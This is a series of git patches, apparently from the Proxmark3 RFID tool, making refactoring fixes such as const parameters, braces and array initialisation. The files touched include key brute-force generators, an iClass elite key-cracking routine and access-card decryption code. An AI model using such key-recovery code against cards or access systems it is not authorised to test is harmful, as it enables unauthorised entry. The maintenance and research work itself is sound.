1) = rk(rl(x [0] ) . . . rl(x [7] ), n) **/ -static void rk(uint8_t *key, uint8_t n, uint8_t *outp_key) { +static void rk(const uint8_t *key, uint8_t n, uint8_t *outp_key) { memcpy(outp_key, key, 8); uint8_t j; while (n-- > 0) { diff --git a/client/src/loclass/elite_crack.c b/client/src/loclass/elite_crack.c index c5fd2c534..bcd1324ab 100644 --- a/client/src/loclass/elite_crack.c +++ b/client/src/loclass/elite_crack.c @@ -158,7 +158,7 @@ Definition 14. Define the rotate key function rk : (F 82 ) 8 × N → (F 82 ) 8 rk(x [0] . . . x [7] , 0) = x [0] . . . x [7] rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n) **/ -static void rk(uint8_t *key, uint8_t n, uint8_t *outp_key) { +static void rk(const uint8_t *key, uint8_t n, uint8_t *outp_key) { memcpy(outp_key, key, 8); while (n-- > 0) { outp_key[0] = rl(outp_key[0]); From cb937a3f57a5a38cc63cd8a64e29a9c52cd11655 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 10:59:10 +0200 Subject: [PATCH 035/157] fix overwriting return value in one case --- armsrc/lfsampling.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index a54eeedc1..8325bbed1 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -518,7 +518,7 @@ int ReadLF_realtime(bool reader_field) { // Request USB transmission and change FIFO bank if (async_usb_write_requestWrite() == false) { return_value = PM3_EIO; - break; + goto out; } // Reset sample @@ -535,10 +535,14 @@ int ReadLF_realtime(bool reader_field) { } } } - LED_D_OFF(); + return_value = async_usb_write_stop(); +out: + LED_D_OFF(); + // DoAcquisition() end + StopTicks(); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); return return_value; From 0963f51318da93d6652bf42700448020ca7d0de5 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 11:04:41 +0200 Subject: [PATCH 036/157] fix const params, lessen variable scope and fixing func arguments names --- common/bruteforce.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/common/bruteforce.h b/common/bruteforce.h index 61d1107b3..40e26cb21 100644 --- a/common/bruteforce.h +++ b/common/bruteforce.h @@ -79,7 +79,7 @@ typedef struct { } generator_context_t; -void bf_generator_init(generator_context_t *ctx, uint8_t mode, uint8_t key_size); +void bf_generator_init(generator_context_t *ctx, uint8_t mode, uint8_t key_length); void bf_generator_clear(generator_context_t *ctx); // clear flags and counters used by generators int bf_generator_set_charset(generator_context_t *ctx, uint8_t charsets); int bf_generate(generator_context_t *ctx); From 3430e204593b528d5aad89a61812c175fbbc6786 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 11:10:12 +0200 Subject: [PATCH 037/157] fix const params, lessen variable scope and fixing func arguments names --- armsrc/printf.c | 135 +++++++++++++++++++++++++++++--------------- common/bruteforce.c | 65 ++++++++++++--------- common/bruteforce.h | 4 +- 3 files changed, 129 insertions(+), 75 deletions(-) diff --git a/armsrc/printf.c b/armsrc/printf.c index 9689bdb1f..7c58ffd82 100644 --- a/armsrc/printf.c +++ b/armsrc/printf.c @@ -113,11 +113,14 @@ kvsprintf(char const *fmt, void *arg, int radix, va_list ap) { for (;;) { padc = ' '; width = 0; + while ((ch = (u_char) * fmt++) != '%' || stop) { PCHAR(ch); - if (ch == '\0') + if (ch == '\0') { return (retval); + } } + percent = fmt - 1; qflag = 0; lflag = 0; @@ -178,36 +181,43 @@ reswitch: for (n = 0;; ++fmt) { n = n * 10 + ch - '0'; ch = *fmt; - if (ch < '0' || ch > '9') + if (ch < '0' || ch > '9') { break; + } } - if (dot) + if (dot) { dwidth = n; - else + } else { width = n; + } goto reswitch; case 'b': num = (u_int)va_arg(ap, int); p = va_arg(ap, char *); - for (q = ksprintn(nbuf, num, *p++, NULL, 0); *q;) + for (q = ksprintn(nbuf, num, *p++, NULL, 0); *q;) { PCHAR(*q--); + } - if (num == 0) + if (num == 0) { break; + } for (tmp = 0; *p;) { n = *p++; if (num & (1 << (n - 1))) { PCHAR(tmp ? ',' : '<'); - for (; (n = *p) > ' '; ++p) + for (; (n = *p) > ' '; ++p) { PCHAR(n); + } tmp = 1; - } else - for (; *p > ' '; ++p) - continue; + } else { + for (; *p > ' '; ++p) {}; + } } - if (tmp) + + if (tmp) { PCHAR('>'); + } break; case 'c': PCHAR(va_arg(ap, int)); @@ -215,15 +225,19 @@ reswitch: case 'D': up = va_arg(ap, u_char *); p = va_arg(ap, char *); - if (!width) + if (!width) { width = 16; + } + while (width--) { PCHAR(hex2ascii(*up >> 4)); PCHAR(hex2ascii(*up & 0x0f)); up++; - if (width) - for (q = p; *q; q++) + if (width) { + for (q = p; *q; q++) { PCHAR(*q); + } + } } break; case 'd': @@ -235,8 +249,9 @@ reswitch: if (hflag) { hflag = 0; cflag = 1; - } else + } else { hflag = 1; + } goto reswitch; case 'j': jflag = 1; @@ -245,8 +260,9 @@ reswitch: if (lflag) { lflag = 0; qflag = 1; - } else + } else { lflag = 1; + } goto reswitch; case 'n': if (jflag) @@ -278,29 +294,38 @@ reswitch: goto reswitch; case 'r': base = radix; - if (sign) + if (sign) { goto handle_sign; + } goto handle_nosign; case 's': p = va_arg(ap, char *); - if (p == NULL) + if (p == NULL) { p = "(null)"; - if (!dot) + } + + if (!dot) { n = strlen(p); - else - for (n = 0; n < dwidth && p[n]; n++) - continue; + } else { + for (n = 0; n < dwidth && p[n]; n++) {}; + } width -= n; - if (!ladjust && width > 0) - while (width--) + if (!ladjust && width > 0) { + while (width--) { PCHAR(padc); - while (n--) + } + } + while (n--) { PCHAR(*p++); - if (ladjust && width > 0) - while (width--) + } + + if (ladjust && width > 0) { + while (width--) { PCHAR(padc); + } + } break; case 't': tflag = 1; @@ -361,22 +386,31 @@ number: neg = 1; num = -(intmax_t)num; } - p = ksprintn(nbuf, num, base, &tmp, upper); - if (sharpflag && num != 0) { - if (base == 8) - tmp++; - else if (base == 16) - tmp += 2; - } - if (neg) - tmp++; - if (!ladjust && padc != '0' && width - && (width -= tmp) > 0) - while (width--) + p = ksprintn(nbuf, num, base, &tmp, upper); + + if (sharpflag && num != 0) { + if (base == 8) { + tmp++; + } else if (base == 16) { + tmp += 2; + } + } + + if (neg) { + tmp++; + } + + if (!ladjust && padc != '0' && width && (width -= tmp) > 0) { + while (width--) { PCHAR(padc); - if (neg) + } + } + + if (neg) { PCHAR('-'); + } + if (sharpflag && num != 0) { if (base == 8) { PCHAR('0'); @@ -385,21 +419,28 @@ number: PCHAR('x'); } } - if (!ladjust && width && (width -= tmp) > 0) - while (width--) - PCHAR(padc); - while (*p) + if (!ladjust && width && (width -= tmp) > 0) { + while (width--) { + PCHAR(padc); + } + } + + while (*p) { PCHAR(*p--); + } - if (ladjust && width && (width -= tmp) > 0) - while (width--) + if (ladjust && width && (width -= tmp) > 0) { + while (width--) { PCHAR(padc); + } + } break; default: - while (percent < fmt) + while (percent < fmt) { PCHAR(*percent++); + } /* * Since we ignore an formatting argument it is no * longer safe to obey the remaining formatting diff --git a/common/bruteforce.c b/common/bruteforce.c index eb3c521b1..b271d0002 100644 --- a/common/bruteforce.c +++ b/common/bruteforce.c @@ -63,13 +63,15 @@ int bf_generator_set_charset(generator_context_t *ctx, uint8_t charsets) { int bf_generate(generator_context_t *ctx) { switch (ctx->mode) { - case BF_MODE_RANGE: + case BF_MODE_RANGE: { return _bf_generate_mode_range(ctx); - case BF_MODE_CHARSET: + } + case BF_MODE_CHARSET: { return _bf_generate_mode_charset(ctx); - - case BF_MODE_SMART: + } + case BF_MODE_SMART: { return _bf_generate_mode_smart(ctx); + } } return BF_GENERATOR_ERROR; @@ -81,23 +83,27 @@ int bf_generate(generator_context_t *ctx) { // returns -1 if incrementing reaches its end int bf_array_increment(uint8_t *data, uint8_t data_len, uint8_t modulo) { - uint8_t prev_value; - // check if we reached max value already uint8_t i; - for (i = 0; i < data_len; i++) - if (data[i] < modulo - 1) + for (i = 0; i < data_len; i++) { + if (data[i] < modulo - 1) { break; + } + } - if (i == data_len) + if (i == data_len) { return -1; + } for (uint8_t pos = data_len - 1;; pos--) { - prev_value = ++data[pos]; + + uint8_t prev_value = ++data[pos]; + data[pos] = data[pos] % modulo; - if (prev_value == data[pos]) + + if (prev_value == data[pos]) { return 0; - else if (pos == 0) { + } else if (pos == 0) { // we cannot carryover to next byte // with the max value check in place before, we should not reach this place return -1; @@ -108,12 +114,12 @@ int bf_array_increment(uint8_t *data, uint8_t data_len, uint8_t modulo) { } // get current key casted to 32 bit -uint32_t bf_get_key32(generator_context_t *ctx) { +uint32_t bf_get_key32(const generator_context_t *ctx) { return ctx->current_key & 0xFFFFFFFF; } // get current key casted to 48 bit -uint64_t bf_get_key48(generator_context_t *ctx) { +uint64_t bf_get_key48(const generator_context_t *ctx) { return ctx->current_key & 0xFFFFFFFFFFFF; } @@ -127,8 +133,9 @@ void bf_generator_clear(generator_context_t *ctx) { int _bf_generate_mode_range(generator_context_t *ctx) { - if (ctx->key_length != BF_KEY_SIZE_32 && ctx->key_length != BF_KEY_SIZE_48) + if (ctx->key_length != BF_KEY_SIZE_32 && ctx->key_length != BF_KEY_SIZE_48) { return BF_GENERATOR_ERROR; + } if (ctx->current_key >= ctx->range_high) { return BF_GENERATOR_END; @@ -152,8 +159,9 @@ int _bf_generate_mode_charset(generator_context_t *ctx) { return BF_GENERATOR_ERROR; } - if (ctx->flag1) + if (ctx->flag1) { return BF_GENERATOR_END; + } uint8_t key_byte = 0; ctx->current_key = 0; @@ -162,32 +170,35 @@ int _bf_generate_mode_charset(generator_context_t *ctx) { ctx->current_key |= (uint64_t) ctx->charset[ctx->pos[key_byte]] << ((ctx->key_length - key_byte - 1) * 8); } - if (bf_array_increment(ctx->pos, ctx->key_length, ctx->charset_length) == -1) + if (bf_array_increment(ctx->pos, ctx->key_length, ctx->charset_length) == -1) { // set flag1 to emit value last time and end generation on next call ctx->flag1 = true; + } return BF_GENERATOR_NEXT; } int _bf_generate_mode_smart(generator_context_t *ctx) { - int ret; - while (1) { - if (smart_generators[ctx->smart_mode_stage] == NULL) + if (smart_generators[ctx->smart_mode_stage] == NULL) { return BF_GENERATOR_END; + } - ret = smart_generators[ctx->smart_mode_stage](ctx); + int ret = smart_generators[ctx->smart_mode_stage](ctx); switch (ret) { - case BF_GENERATOR_NEXT: + case BF_GENERATOR_NEXT: { return ret; - case BF_GENERATOR_ERROR: + } + case BF_GENERATOR_ERROR: { return ret; - case BF_GENERATOR_END: + } + case BF_GENERATOR_END: { ctx->smart_mode_stage++; bf_generator_clear(ctx); continue; + } } } } @@ -197,8 +208,9 @@ int smart_generator_byte_repeat(generator_context_t *ctx) { // key consists of repeated single byte uint32_t current_byte = ctx->counter1; - if (current_byte > 0xFF) + if (current_byte > 0xFF) { return BF_GENERATOR_END; + } ctx->current_key = 0; @@ -213,8 +225,9 @@ int smart_generator_msb_byte_only(generator_context_t *ctx) { // key of one byte (most significant one) and all others being zero uint32_t current_byte = ctx->counter1; - if (current_byte > 0xFF) + if (current_byte > 0xFF) { return BF_GENERATOR_END; + } ctx->current_key = (uint64_t)current_byte << ((ctx->key_length - 1) * 8); diff --git a/common/bruteforce.h b/common/bruteforce.h index 40e26cb21..cab98c8c7 100644 --- a/common/bruteforce.h +++ b/common/bruteforce.h @@ -87,8 +87,8 @@ int _bf_generate_mode_range(generator_context_t *ctx); int _bf_generate_mode_charset(generator_context_t *ctx); int _bf_generate_mode_smart(generator_context_t *ctx); int bf_array_increment(uint8_t *data, uint8_t data_len, uint8_t modulo); -uint32_t bf_get_key32(generator_context_t *ctx); -uint64_t bf_get_key48(generator_context_t *ctx); +uint32_t bf_get_key32(const generator_context_t *ctx); +uint64_t bf_get_key48(const generator_context_t *ctx); // smart mode typedef int (smart_generator_t)(generator_context_t *ctx); From 5ee9014e02f68d6585deb989e881091f4601db85 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 11:10:50 +0200 Subject: [PATCH 038/157] const --- client/src/emv/cmdemv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/emv/cmdemv.c b/client/src/emv/cmdemv.c index e5d5ab40f..bb00d7431 100644 --- a/client/src/emv/cmdemv.c +++ b/client/src/emv/cmdemv.c @@ -292,7 +292,7 @@ static int emv_parse_track1(const uint8_t *d, size_t n, bool verbose) { // decoder char *tmp = str_ndup((const char *)d, n); uint8_t i = 0; - char delim[2] = "^"; + const char delim[2] = "^"; char *token = strtok(tmp, delim); while (token != NULL) { From 2c1f45f3aa0f6e4943be909d1c6eeb442f1c9218 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 11:20:36 +0200 Subject: [PATCH 039/157] fix const params and if statements --- client/src/cmdflashmemspiffs.c | 11 ++++++++--- client/src/cmdflashmemspiffs.h | 2 +- 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/client/src/cmdflashmemspiffs.c b/client/src/cmdflashmemspiffs.c index 5c3c4918c..8fbb9b2de 100644 --- a/client/src/cmdflashmemspiffs.c +++ b/client/src/cmdflashmemspiffs.c @@ -26,7 +26,7 @@ static int CmdHelp(const char *Cmd); -int flashmem_spiffs_load(char *destfn, uint8_t *data, size_t datalen) { +int flashmem_spiffs_load(const char *destfn, const uint8_t *data, size_t datalen) { int ret_val = PM3_SUCCESS; @@ -429,9 +429,14 @@ static int CmdFlashMemSpiFFSDump(const char *Cmd) { PrintAndLogEx(HINT, "Use 'trace list -1 -t ...' to view, 'trace save -f ...' to save"); } - if (dlen) { + + if (dlen || slen) { + // save to file char fn[FILE_PATH_SIZE] = {0}; + + // prefer dest name + // else source name if (dlen) { strncpy(fn, dest, dlen); } else { @@ -439,7 +444,7 @@ static int CmdFlashMemSpiFFSDump(const char *Cmd) { } // set file extension - char *suffix = strchr(fn, '.'); + const char *suffix = strchr(fn, '.'); if (suffix) { saveFile(fn, suffix, dump, len); } else { diff --git a/client/src/cmdflashmemspiffs.h b/client/src/cmdflashmemspiffs.h index 5a85aa6f4..5d6547ece 100644 --- a/client/src/cmdflashmemspiffs.h +++ b/client/src/cmdflashmemspiffs.h @@ -22,7 +22,7 @@ #include "common.h" int CmdFlashMemSpiFFS(const char *Cmd); -int flashmem_spiffs_load(char *destfn, uint8_t *data, size_t datalen); +int flashmem_spiffs_load(const char *destfn, const uint8_t *data, size_t datalen); int flashmem_spiffs_download(char *fn, uint8_t fnlen, void **pdest, size_t *destlen); #endif From bf24c2b01f60fe70d1c9271292afab17acd2ba19 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 11:23:33 +0200 Subject: [PATCH 040/157] const params and init arrays --- client/src/cmdhfict.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/client/src/cmdhfict.c b/client/src/cmdhfict.c index 040475511..fdfbb97e7 100644 --- a/client/src/cmdhfict.c +++ b/client/src/cmdhfict.c @@ -120,7 +120,7 @@ static int derive_app_key(uint8_t *uid, uint8_t *app_key) { } // Might miss payload.. -static int diversify_mifare_key(uint8_t *uid, uint8_t *app_key) { +static int diversify_mifare_key(const uint8_t *uid, uint8_t *app_key) { if (uid == NULL || app_key == NULL) { return PM3_EINVARG; } @@ -152,7 +152,7 @@ static int diversify_mifare_key(uint8_t *uid, uint8_t *app_key) { return PM3_SUCCESS; } -static int decrypt_card_sector(uint8_t *uid, uint8_t *sector_data, uint8_t len, uint8_t *plain) { +static int decrypt_card_sector(uint8_t *uid, const uint8_t *sector_data, uint8_t len, uint8_t *plain) { if (uid == NULL || sector_data == NULL || plain == NULL) { return PM3_EINVARG; } @@ -203,7 +203,7 @@ static int derive_mifare_key_b(uint8_t *uid, uint8_t *app_key) { return derive_mifare_key(uid, ICT_MIFARE_B_KEY, app_key); } -static int decrypt_card_file(uint8_t *card_file, uint8_t len, uint8_t *plain) { +static int decrypt_card_file(const uint8_t *card_file, uint8_t len, uint8_t *plain) { if (card_file == NULL || plain == NULL) { return PM3_EINVARG; } @@ -211,7 +211,7 @@ static int decrypt_card_file(uint8_t *card_file, uint8_t len, uint8_t *plain) { uint8_t input[ICT_FILE_SIZE]; memcpy(input, card_file, len); - uint8_t key[AES_KEY_LEN]; + uint8_t key[AES_KEY_LEN] = {0}; // memcpy(key, ICT_DESFIRE_FILEKEY, AES_KEY_LEN); uint8_t iv[16] = {0}; @@ -230,7 +230,7 @@ static int decrypt_card_file(uint8_t *card_file, uint8_t len, uint8_t *plain) { return PM3_SUCCESS; } -static int encrypt_card_file(uint8_t *card_file, uint8_t len, bool padding, uint8_t *enc) { +static int encrypt_card_file(const uint8_t *card_file, uint8_t len, bool padding, uint8_t *enc) { if (len > ICT_FILE_SIZE) { return PM3_EINVARG; @@ -243,7 +243,7 @@ static int encrypt_card_file(uint8_t *card_file, uint8_t len, bool padding, uint memset(input + len, 0x4C, 128 - len); } - uint8_t key[AES_KEY_LEN]; + uint8_t key[AES_KEY_LEN] = {0}; // memcpy(key, ICT_DESFIRE_FILEKEY, AES_KEY_LEN); uint8_t iv[16] = {0}; @@ -262,7 +262,7 @@ static int encrypt_card_file(uint8_t *card_file, uint8_t len, bool padding, uint return PM3_SUCCESS; } -static void itc_decode_card_blob(uint8_t *data, uint8_t card_type) { +static void itc_decode_card_blob(const uint8_t *data, uint8_t card_type) { if (data == NULL) { return; } From 480d5a3241f13ebfba86cb03d13361c7402dd533 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 11:26:16 +0200 Subject: [PATCH 041/157] array init --- client/src/cmdlfnedap.c | 2 +- tools/mfd_aes_brute/mfd_multi_brute.c | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/client/src/cmdlfnedap.c b/client/src/cmdlfnedap.c index a844711d9..4d51116e8 100644 --- a/client/src/cmdlfnedap.c +++ b/client/src/cmdlfnedap.c @@ -530,7 +530,7 @@ static int CmdLFNedapSim(const char *Cmd) { uint8_t data[16]; NedapGen(sub_type, customer_code, id, is_long, data); - uint8_t bs[16 * 8]; + uint8_t bs[16 * 8] = {0}; for (uint8_t i = 0; i < max; i++) { num_to_bytebits(data[i], 8, bs + i * 8); } diff --git a/tools/mfd_aes_brute/mfd_multi_brute.c b/tools/mfd_aes_brute/mfd_multi_brute.c index b097c77d7..4781d384a 100644 --- a/tools/mfd_aes_brute/mfd_multi_brute.c +++ b/tools/mfd_aes_brute/mfd_multi_brute.c @@ -222,6 +222,8 @@ static void *brute_thread(void *arguments) { //make_key_borland_n(i, key, keylen); uint8_t iv[keylen << 1]; + memset(iv, 0, sizeof(iv)); + uint8_t dec_tag[16] = {0x00}; uint8_t dec_rdr[32] = {0x00}; From a9a3c0bea96907c2344cf0c8d7d7970ef2edea8f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 11:45:36 +0200 Subject: [PATCH 042/157] const params --- client/src/cmdhfntag424.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/client/src/cmdhfntag424.c b/client/src/cmdhfntag424.c index e1593500b..6275dab4d 100644 --- a/client/src/cmdhfntag424.c +++ b/client/src/cmdhfntag424.c @@ -280,7 +280,7 @@ static void ntag424_calc_receive_iv(ntag424_session_keys_t *session_keys, uint8_ aes_encode(zero_iv, session_keys->encryption, iv_clear, out_ivc, 16); } -static void ntag424_calc_mac(ntag424_session_keys_t *session_keys, uint8_t command, uint8_t *data, uint8_t datalen, uint8_t *out_mac) { +static void ntag424_calc_mac(const ntag424_session_keys_t *session_keys, uint8_t command, const uint8_t *data, uint8_t datalen, uint8_t *out_mac) { uint8_t mac_input_header[] = { command, (uint8_t)session_keys->command_counter, (uint8_t)(session_keys->command_counter >> 8), session_keys->ti[0], session_keys->ti[1], session_keys->ti[2], session_keys->ti[3] @@ -445,7 +445,7 @@ static int ntag424_get_file_settings(uint8_t fileno, ntag424_file_settings_t *se return PM3_SUCCESS; } -static int ntag424_write_file_settings(uint8_t fileno, ntag424_file_settings_t *settings, ntag424_session_keys_t *session_keys) { +static int ntag424_write_file_settings(uint8_t fileno, const ntag424_file_settings_t *settings, ntag424_session_keys_t *session_keys) { // ------- Convert file settings to the format for writing file_settings_write_t write_settings = { @@ -807,7 +807,7 @@ static int ntag424_get_signature(uint8_t *signature_out) { return PM3_SUCCESS; } -static int ntag424_change_key(uint8_t keyno, uint8_t *new_key, uint8_t *old_key, uint8_t version, ntag424_session_keys_t *session_keys) { +static int ntag424_change_key(uint8_t keyno, const uint8_t *new_key, const uint8_t *old_key, uint8_t version, ntag424_session_keys_t *session_keys) { // -------- Calculate xor and crc uint8_t key[16] = {0}; uint8_t crc[4] = {0}; @@ -965,7 +965,7 @@ static int CmdHF_ntag424_auth(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); - int keyno; + int keyno = 0; uint8_t key[16] = {0}; if (ntag424_cli_get_auth_information(ctx, 1, 2, &keyno, key) != PM3_SUCCESS) { CLIParserFree(ctx); @@ -1019,7 +1019,7 @@ static int CmdHF_ntag424_read(const char *Cmd) { int fileno = arg_get_int(ctx, 1); - int keyno; + int keyno = 0; uint8_t key[16] = {0}; bool auth = (ntag424_cli_get_auth_information(ctx, 2, 3, &keyno, key) == PM3_SUCCESS); @@ -1248,7 +1248,7 @@ static int CmdHF_ntag424_changefilesettings(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, false); int fileno = arg_get_int(ctx, 1); - int keyno; + int keyno = 0; uint8_t key[16] = {0}; uint8_t has_options = 0; From 0096672d380d40d9b3d4453c056db1de322ec65b Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 11:57:47 +0200 Subject: [PATCH 043/157] fix fct names and consts and bad if statement --- armsrc/i2c.c | 4 ++-- armsrc/i2c.h | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/armsrc/i2c.c b/armsrc/i2c.c index 2848509a1..2a4b3a648 100644 --- a/armsrc/i2c.c +++ b/armsrc/i2c.c @@ -764,7 +764,7 @@ bool sc_rx_bytes(uint8_t *dest, uint16_t *destlen, uint32_t wait) { break; } else if (len == 1) { continue; - } else if (len <= 0) { + } else { return false; } } @@ -937,7 +937,7 @@ void SmartCardUpgrade(uint64_t arg0) { bool isOK = true; uint16_t length = arg0, pos = 0; - uint8_t *fwdata = BigBuf_get_addr(); + const uint8_t *fwdata = BigBuf_get_addr(); uint8_t *verfiydata = BigBuf_malloc(I2C_BLOCK_SIZE); while (length) { diff --git a/armsrc/i2c.h b/armsrc/i2c.h index 52c96862e..3b45c6d7d 100644 --- a/armsrc/i2c.h +++ b/armsrc/i2c.h @@ -68,6 +68,6 @@ void SmartCardUpgrade(uint64_t arg0); void SmartCardSetBaud(uint64_t arg0); void SmartCardSetClock(uint64_t arg0); void I2C_print_status(void); -int I2C_get_version(uint8_t *maj, uint8_t *min); +int I2C_get_version(uint8_t *major, uint8_t *minor); #endif From 4aa8645a33f511afed3d93b96571cad548ea78e9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 12:00:19 +0200 Subject: [PATCH 044/157] fixed order of checking --- client/src/cmdhf15.c | 27 +++++++++++++++------------ client/src/cmdhfntag424.c | 1 + 2 files changed, 16 insertions(+), 12 deletions(-) diff --git a/client/src/cmdhf15.c b/client/src/cmdhf15.c index 914a1b58b..4dd9231ad 100644 --- a/client/src/cmdhf15.c +++ b/client/src/cmdhf15.c @@ -1232,13 +1232,14 @@ static int CmdHF15ELoad(const char *Cmd) { return res; } - if (bytes_read != sizeof(iso15_tag_t)) { - PrintAndLogEx(FAILED, "Memory image is not matching tag structure."); + if (bytes_read == 0) { + PrintAndLogEx(FAILED, "Memory image empty."); free(tag); return PM3_EINVARG; } - if (bytes_read == 0) { - PrintAndLogEx(FAILED, "Memory image empty."); + + if (bytes_read != sizeof(iso15_tag_t)) { + PrintAndLogEx(FAILED, "Memory image is not matching tag structure."); free(tag); return PM3_EINVARG; } @@ -2693,13 +2694,14 @@ static int CmdHF15Restore(const char *Cmd) { return res; } - if (bytes_read != sizeof(iso15_tag_t)) { - PrintAndLogEx(FAILED, "Memory image is not matching tag structure."); + if (bytes_read == 0) { + PrintAndLogEx(FAILED, "Memory image empty."); free(tag); return PM3_EINVARG; } - if (bytes_read == 0) { - PrintAndLogEx(FAILED, "Memory image empty."); + + if (bytes_read != sizeof(iso15_tag_t)) { + PrintAndLogEx(FAILED, "Memory image is not matching tag structure."); free(tag); return PM3_EINVARG; } @@ -3357,13 +3359,14 @@ static int CmdHF15View(const char *Cmd) { return res; } - if (bytes_read != sizeof(iso15_tag_t)) { - PrintAndLogEx(FAILED, "Memory image is not matching tag structure."); + if (bytes_read == 0) { + PrintAndLogEx(FAILED, "Memory image empty."); free(tag); return PM3_EINVARG; } - if (bytes_read == 0) { - PrintAndLogEx(FAILED, "Memory image empty."); + + if (bytes_read != sizeof(iso15_tag_t)) { + PrintAndLogEx(FAILED, "Memory image is not matching tag structure."); free(tag); return PM3_EINVARG; } diff --git a/client/src/cmdhfntag424.c b/client/src/cmdhfntag424.c index 6275dab4d..9e4abeed2 100644 --- a/client/src/cmdhfntag424.c +++ b/client/src/cmdhfntag424.c @@ -38,6 +38,7 @@ // NTAG424 commands currently implemented +// icenam: should be able to use 14a / msdes to annotate NTAG424 communications #define NTAG424_CMD_GET_FILE_SETTINGS 0xF5 #define NTAG424_CMD_CHANGE_FILE_SETTINGS 0x5F #define NTAG424_CMD_CHANGE_KEY 0xC4 From f3f647e6af9343b6dee41c670f1651aa297d5f3e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 12:04:03 +0200 Subject: [PATCH 045/157] fix const params, unused set vars --- client/src/cmdhf15.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/client/src/cmdhf15.c b/client/src/cmdhf15.c index 4dd9231ad..081e73655 100644 --- a/client/src/cmdhf15.c +++ b/client/src/cmdhf15.c @@ -416,7 +416,7 @@ static int nxp_15693_print_signature(uint8_t *uid, uint8_t *signature) { // get a product description based on the UID // uid[8] tag uid // returns description of the best match -static const char *getTagInfo_15(uint8_t *uid) { +static const char *getTagInfo_15(const uint8_t *uid) { if (uid == NULL) { return ""; } @@ -734,7 +734,7 @@ static int CmdHF15Samples(const char *Cmd) { return PM3_SUCCESS; } -static int NxpTestEAS(uint8_t *uid) { +static int NxpTestEAS(const uint8_t *uid) { if (uid == NULL) { return PM3_EINVARG; @@ -1182,7 +1182,7 @@ static void hf15EmlClear(void) { WaitForResponse(CMD_HF_ISO15693_EML_CLEAR, &resp); } -static int hf15EmlSetMem(uint8_t *data, uint16_t count, size_t offset) { +static int hf15EmlSetMem(const uint8_t *data, uint16_t count, size_t offset) { struct p { uint32_t offset; uint16_t count; @@ -1356,7 +1356,7 @@ static void print_blocks_15693(iso15_tag_t *tag, bool dense_output) { for (int i = 0; i < tag->pagesCount; i++) { - uint8_t *blk = d + (i * blocksize); + const uint8_t *blk = d + (i * blocksize); // suppress repeating blocks, truncate as such that the first and last block with the same data is shown // but the blocks in between are replaced with a single line of "......" if dense_output is enabled @@ -2470,7 +2470,7 @@ static int CmdHF15Readblock(const char *Cmd) { return PM3_SUCCESS; } -static int hf_15_write_blk(uint8_t *pm3flags, uint16_t flags, uint8_t *uid, bool fast, uint8_t blockno, uint8_t *data, uint8_t dlen) { +static int hf_15_write_blk(const uint8_t *pm3flags, uint16_t flags, const uint8_t *uid, bool fast, uint8_t blockno, const uint8_t *data, uint8_t dlen) { // request to be sent to device/card // 2 + 8 + 1 + (4|8) + 2 @@ -2729,7 +2729,7 @@ static int CmdHF15Restore(const char *Cmd) { size_t bytes = 0; uint16_t i = 0; uint8_t *data = calloc(tag->bytesPerPage, sizeof(uint8_t)); - uint32_t tried = 0; + uint32_t tried; while (bytes < (tag->pagesCount * tag->bytesPerPage)) { // copy over the data to the request From 2e2fa850bbe3da23efeb2aa397f2507094d274a5 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 12:25:00 +0200 Subject: [PATCH 046/157] const params, vars, scope, bad if statements --- client/src/cmdtrace.c | 46 +++++++++++++++++-------------------------- client/src/cmdtrace.h | 2 +- 2 files changed, 19 insertions(+), 29 deletions(-) diff --git a/client/src/cmdtrace.c b/client/src/cmdtrace.c index 66e26e27f..738accee6 100644 --- a/client/src/cmdtrace.c +++ b/client/src/cmdtrace.c @@ -42,12 +42,12 @@ static bool is_last_record(uint16_t tracepos, uint16_t traceLen) { } static bool next_record_is_response(uint16_t tracepos, uint8_t *trace) { - tracelog_hdr_t *hdr = (tracelog_hdr_t *)(trace + tracepos); + const tracelog_hdr_t *hdr = (tracelog_hdr_t *)(trace + tracepos); return (hdr->isResponse); } static bool merge_topaz_reader_frames(uint32_t timestamp, uint32_t *duration, uint16_t *tracepos, uint16_t traceLen, - uint8_t *trace, uint8_t *frame, uint8_t *topaz_reader_command, uint16_t *data_len) { + uint8_t *trace, const uint8_t *frame, uint8_t *topaz_reader_command, uint16_t *data_len) { #define MAX_TOPAZ_READER_CMD_LEN 16 @@ -59,7 +59,7 @@ static bool merge_topaz_reader_frames(uint32_t timestamp, uint32_t *duration, ui while (!is_last_record(*tracepos, traceLen) && !next_record_is_response(*tracepos, trace)) { - tracelog_hdr_t *hdr = (tracelog_hdr_t *)(trace + *tracepos); + const tracelog_hdr_t *hdr = (tracelog_hdr_t *)(trace + *tracepos); *tracepos += TRACELOG_HDR_LEN + hdr->data_len; @@ -93,7 +93,7 @@ static uint8_t calc_pos(const uint8_t *d) { // 